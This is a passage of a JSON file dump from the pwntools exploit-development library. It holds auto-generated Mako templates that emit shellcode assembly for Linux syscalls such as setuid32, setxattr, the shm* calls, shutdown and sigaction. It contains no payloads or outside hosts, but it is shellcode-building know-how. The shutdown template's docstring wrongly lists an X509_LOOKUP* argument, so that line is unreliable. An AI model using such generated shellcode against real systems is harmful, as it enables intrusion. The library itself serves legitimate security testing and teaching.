    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setuid32.\n\nSee 'man 2 setuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setuid32'])\n%>\n    /* setuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setxattr(path, name, value, size, flags) -> str\n\nInvokes the syscall setxattr.\n\nSee 'man 2 setxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size', 'flags']\n    argument_values = [path, name, value, size, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setxattr'])\n%>\n    /* setxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sgetmask.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sgetmask() -> str\n\nInvokes the syscall sgetmask.\n\nSee 'man 2 sgetmask' for more information.\n\nArguments:\n\nReturns:\n    long\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sgetmask']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sgetmask'])\n%>\n    /* sgetmask(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/shmat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>shmat(shmid, shmaddr, shmflg) -> str\n\nInvokes the syscall shmat.\n\nSee 'man 2 shmat' for more information.\n\nArguments:\n    shmid(int): shmid\n    shmaddr(void*): shmaddr\n    shmflg(int): shmflg\nReturns:\n    void*\n</%docstring>\n<%page args=\"shmid=0, shmaddr=0, shmflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['shmaddr']\n    can_pushstr_array = []\n\n    argument_names = ['shmid', 'shmaddr', 'shmflg']\n    argument_values = [shmid, shmaddr, shmflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_shmat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_shmat'])\n%>\n    /* shmat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/shmctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>shmctl(shmid, cmd, buf) -> str\n\nInvokes the syscall shmctl.\n\nSee 'man 2 shmctl' for more information.\n\nArguments:\n    shmid(int): shmid\n    cmd(int): cmd\n    buf(shmid_ds*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"shmid=0, cmd=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['shmid', 'cmd', 'buf']\n    argument_values = [shmid, cmd, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_shmctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_shmctl'])\n%>\n    /* shmctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/shmdt.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>shmdt(shmaddr) -> str\n\nInvokes the syscall shmdt.\n\nSee 'man 2 shmdt' for more information.\n\nArguments:\n    shmaddr(void*): shmaddr\nReturns:\n    int\n</%docstring>\n<%page args=\"shmaddr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['shmaddr']\n    can_pushstr_array = []\n\n    argument_names = ['shmaddr']\n    argument_values = [shmaddr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_shmdt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_shmdt'])\n%>\n    /* shmdt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/shmget.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>shmget(key, size, shmflg) -> str\n\nInvokes the syscall shmget.\n\nSee 'man 2 shmget' for more information.\n\nArguments:\n    key(key_t): key\n    size(size_t): size\n    shmflg(int): shmflg\nReturns:\n    int\n</%docstring>\n<%page args=\"key=0, size=0, shmflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['key', 'size', 'shmflg']\n    argument_values = [key, size, shmflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_shmget']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_shmget'])\n%>\n    /* shmget(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/shutdown.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>shutdown(ctx) -> str\n\nInvokes the syscall shutdown.\n\nSee 'man 2 shutdown' for more information.\n\nArguments:\n    ctx(X509_LOOKUP*): ctx\nReturns:\n    int\n</%docstring>\n<%page args=\"ctx=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ctx']\n    argument_values = [ctx]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_shutdown']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_shutdown'])\n%>\n    /* shutdown(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigaction.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigaction(sig, act, oact) -> str\n\nInvokes the syscall sigaction.\n\nSee 'man 2 sigaction' for more information.\n\nArguments:\n    sig(int): sig\n    act(sigaction*): act\n    oact(sigaction*): oact\nReturns:\n    int\n</%docstring>\n<%page args=\"sig=0, act=0, oact=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['sig', 'act', 'oact']\n    argument_values = [sig, act, oact]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sigaction']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sigaction'])\n%>\n    /* sigaction(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigaltstack.asm",
